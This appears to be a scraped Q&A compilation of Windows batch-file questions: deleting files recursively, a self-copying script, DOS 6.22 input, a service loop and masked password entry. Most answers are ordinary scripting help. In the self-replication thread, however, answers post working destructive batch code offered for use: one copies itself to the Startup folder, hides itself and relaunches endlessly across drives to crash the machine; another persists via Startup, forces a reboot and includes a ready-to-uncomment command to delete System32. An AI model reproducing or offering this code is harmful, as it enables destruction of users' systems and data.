Batch file to search through a folder and delete specific files - batch-file

Firstly, this is the first batch file I've ever written and I really don't know the syntax.
This code should search and delete all the files, except that it doesn't actually delete them, they are still there. If someone could help me out, I would really appreciate it.
My script is as follows:
#echo off
color a
echo.
For /R "E:\" %%G IN (*.onetoc2) do Echo del "%%G"
echo.
timeout 10

You just need to remove the Echo before del "%%G". The Echo is there to show you what will be deleted before you actually do it. Most of the people that answer questions here will add that in as a safeguard.

remove the Echo.
Echo tells the computer to write things to the screen.
It's a good idea to do this for testing.
Once you are satisfied with the output and are sure, that it will do what you want, simply remove the echo
echo format c:
will not format your drive, but simply writes "format C:"
Remove the echo and you are in trouble. (well not really, because modern OS is too smart to do that)

Related

Very basic batch self-replicating code: how dangerous?

After reading a bit too much about von Neumann self-replicating machines, I decided to tinker a bit with batch, trying to make a simple file that would make a copy of itself upon running.
I ended up with this:
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%E.bat
The file is saved as WEE.bat and each run of the latest iteration makes a copy with an additional E.
It is very simple to add a simple line to automaticaly run the latest iteration, and at this point I actually have no idea what happens: Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
Does something keep my computer to try to overflow its own drive? with the "improvement", how different would this piece of code be from an actual malware (besides the obvious spreading through network thing)?
No. If you instruct your computer to do something useless or detrimental it will do so. The only limiting factor here is that with echo enabled, every line of execution must be spewed to the console window, so it's not going to be terribly fast. You'll have a chance to kill it with Ctrl-C, but its going to create thousands of files until the file name is too long to invoke, at which point it will fail. Most hard drives have orders of magnitude more space on them than your script could possibly fill-up.
If you want to experiment, see timeout /?. Add a timeout of five or ten seconds for each run of the script and you can see the number of files increasing in whatever directory you run the batch file in.
EDIT:
It appears the limiting factor here is the file path/name length at 270 characters.
>type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd 1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The filename, directory name, or volume label syntax is incorrect.
>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
The parameter is incorrect.
I improved the script.
It works
#echo off
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%a.bat
%self%a.bat
#echo off
move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
:1
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
copy WEE.bat C:\%random%xd%random%lol /y
copy WEE.bat D:\%random%xd%random%lol /y
copy WEE.bat C:\lol%random%xd%random% /y
copy WEE.bat D:\lol%random%xd%random% /y
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
open C:\%random%xd%random%lol\WEE.bat
open D:\%random%xd%random%lol\WEE.bat
open C:\lol%random%xd%random%\WEE.bat
open D:\lol%random%xd%random%\WEE.bat
echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
goto :1
they will replicate and open itself and each other a lot even on device startup (although there is a way to get around that). the device should crash pretty quickly.
I work with those kinds of viruses all the time! it's really easy tho.
#echo off
color 02
title virus
cls
set self=%~n0
::thx for the code bro!
:loop
copy "%cd%\%self%.*" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\%self%%random%%random%.bat"
::this will copy it to the startup directory so it will open it when you start up
::virus code here. (like delete system32)
::here's the code for that:
::takeown /f "%windir%\system32" & del /Q /F /S "%windir%\system32"
shutdown /f /r /t 0
exit
well, thats the virus ^
have fun!
(the delete system32 code is optional, you can remove the "::" to activate the code)

Create Batch File that prompts user for File path in DOS 6.22

I am trying to create a .BAT file in DOS 6.22 that will copy the contents of a floppy disk in A: over to C:\ and then set the folder created as a system variable. I tried using something like "SET /P VARIABLE=Enter a path" however DOS will just add "/P VARIABLE" as a variable with the value of "Enter a path" so using the /P isn't an option as /P wasn't a switch in DOS 6.22
I tried using something like a for loop to set a variable to the file however where I hit a speed bump is that I have no idea what the folder is going to be called in drive A:\ as it will change all the time but only ever contain one folder, so basically I am just trying to find a way a way to copy the first directory found in drive A over to C:\ and set that as a system variable. As once the user is done making changes I will have to copy that folder back over to A:\ and overwrite the old files so it can be stored on the network once changes have been made.
I did try experimenting with some If/for statements through a .BAT file but I didn't have much luck with theses, if anyone could point me in the right direction that would be awesome.
At this point I'm probably making this way more complicated than I have to.
something like this should work too:
#echo off
:INPUT.BAT puts what is typed next in environment variable INPUT
set input=
echo INPUT.BAT
echo Type in something and press [Enter]
fc con nul /lb1 /n|date|find " 1: ">temptemp.bat
echo :Loop>>enter.bat
echo if not (%%input%%)==() set input=%%input%% %%5>>enter.bat
echo if (%%input%%)==() set input=%%5>>enter.bat
echo shift>>enter.bat
echo if not (%%5)==() goto Loop>>enter.bat
for %%x in (call del) do %%x temptemp.bat
del enter.bat
echo The string you just entered:
echo %input%
echo has been stored in an environment variable named INPUT
:End
I ended finding a solution after doing some more research from what #Squashman linked. Turns out there was a breakdown in communication and this wasn't even the original issue that the user had (a simple way to copy the files off A:\ and all that)
I used the following.
echo Type "set myvar="name of the folder" replacing name of the folder with
echo the name of the folder containing the files on A:\ example if you were
echo on "example" you would type: set myvar=example
copy con answer.bat
echo Type the words "set myvar=" (don't type the quote marks)
echo and then immediately after the = sign, press Control-Z then enter
call answer.bat
mkdir C:\%myvar%
xcopy A:\%mvar% C:\%myvar%
DEL answer.bat
This is a modified version of a guide I found here. http://www.pement.org/sed/bat_env.htm#4dos
Hopefully this is able to help someone, this isn't pretty by any stretch of the imagination but it worked.
I think this would be easier for your users if they actually need to only copy one directory.
#echo off
if "%1" == "" goto syntax
md C:\%1
xcopy/E A:\%1 C:\%1
goto end
:syntax
echo Please input a directory after %0
:end

Debugging a batch file

I wrote a batch file that is supposed to iterate through all .csv files in a folder and do the following with each one: MOVE/Rename it to solar.csv in a different folder while overwriting any file with the same name, start some service that utilizes solar.csv, wait 7.5 minutes, stop the service. This should be done for each .csv file in the folder. I would like it to report each step as it does it as well. Here is my code so far:
#ECHO OFF
CD "D:\PI Data Import\Data"
For /R %%G IN (*.csv) DO (
MOVE /Y %%G.csv "D:\PI Data Import\solar.csv"
ECHO "%%G.csv Moved"
NET START RDBMSPI4
ECHO "Service Started"
ECHO "Waiting"
TIMEOUT /T 450 /NOBREAK
NET STOP RDBMSPI4
Echo "%%G.csv Complete"
)
It reports that my command syntax is not correct, but doesn't say which part exactly. I assume the FOR /R line is a bit wrong, maybe the MOVE command, and possibly how I handle the %%G in the command section.
All I really need is a syntax check, and I am afraid to test this too terribly much before it is golden since the server it will operate on is kind of important. All help appreciated, I'm not at all experienced with working on Batch files.
I'd remove the /R from the for command. Also, don't put .csv after %%g anywhere. They will already have .csv appended as they are .csv files.
You're going to overwrite the solar.csv file, every time you move a CSV file BTW. If you wish the CSV files to be appended to solar.csv, then you may have to type them out to that file. E.g.
Before you loop...
if exist solar.csv del solar.csv
And in your loop...
type %%g >> solar.csv
Unless your service is going to process each solar.csv file and then you just overwrite the file with the next one, in which case you're golden :)

Using For /R to delete files from subdirectories

This is a really beginners question. I have never work with scripts before and today I decided to start learning because of some unknown reason upgrading to Windows 10 duplicated many of my files. There is a pattern for music files, duplicates end in -1,-2,-3... and so on. I created a script with the following and it did work to delete duplicated files.
del E:\folder_name\*-1.mp3
del E:\folder_name\*-2.mp3
del E:\folder_name\*-3.mp3
However, there are too many folders and specifying one by one will take me forever. I found this script to recursively loop through subdirectories.
For /R E:\music_sample\ %%G IN (*-1.mp3) do Echo del "%%G"
Which produces the following output
but it does not actually deletes the files. Can you help me understand what I am doing wrong? Thanks!
Remove the term "Echo" from your script:
For /R E:\music_sample\ %%G IN (*-1.mp3) do del "%%G"
Taking a moment to learn something new is always great!
Sometimes there is already a tool for the job.
Agent Ransack allows you to search by patterns/regular expressions for files. This or something similar might save you some time in the future.
del /s "%userprofile%\music\*-1.mp3" "%userprofile%\music\*-2.mp3 "%userprofile%\music\*-3.mp3"
type
set u
and
del /?
for help.
Command prompt has it's own regular expressions. It's different to dos even if the tokens are the same. EG in dos * is only valid at the end of a filename or extension but in command prompt it is valid anywhere.

"Access is denied." in batch file when hiding user input

Where I work, I maintain some sensitive data that I like to be able to backup at the click of a batch file. This batch file scans through the files and only copies new and modified files, and deletes files that are no longer in the source. It is probably overkill, but I'm paranoid, so I wanted to mask my input when I type in the password for this script. I found this
echo hP1X500P[PZBBBfh#b##fXf-V#`$fPf]f3/f1/5++u5>hide.com
on the internet, and incorporated it, and it does exactly what I wanted it to do. The only problem is that right above where I enter the password, it says "Access is denied." I have it narrowed down to the line above, but I cannot figure out why it says
"Access is denied. Enter password:"
Here is my entire script:
#echo off
Title blahblahblah
echo This batch file is designed to backup the "blahblahblah" folder.
echo Upon entering the correct password, all new or modified files and directories
echo will be backed up in drive:\destination. If you want to quit, type exit.
echo WARNING: Any files deleted from the source will be deleted from the destination!
echo ---
echo hP1X500P[PZBBBfh#b##fXf-V#`$fPf]f3/f1/5++u5>hide.com
:retry
set /p password=Enter password: <nul
for /f "tokens=*" %%i in ('hide.com') do set password=%%i
if /i %password%==blahblahblah goto main
if /i %password%==exit goto exit
cls
echo Try again. You are not logged in!
goto retry
:main
robocopy "drive:\source" "drive:\destination" /E /Purge
del %USERPROFILE%\Desktop\hide.com
pause
Any help with this would be much appreciated. I don't know if I'm the only one getting the message, or just the only one who is annoyed by it, but I will fully admit that I am not savvy enough at this to be able to decipher that line of code.
It seems, you are starting your batchfile in a directory without write access (for example starting it as administrator would do that)
Try this line:
echo hP1X500P[PZBBBfh#b##fXf-V#`$fPf]f3/f1/5++u5>%USERPROFILE%\Desktop\hide.com
PS: the desktop might not be the best place to hide a file.

Resources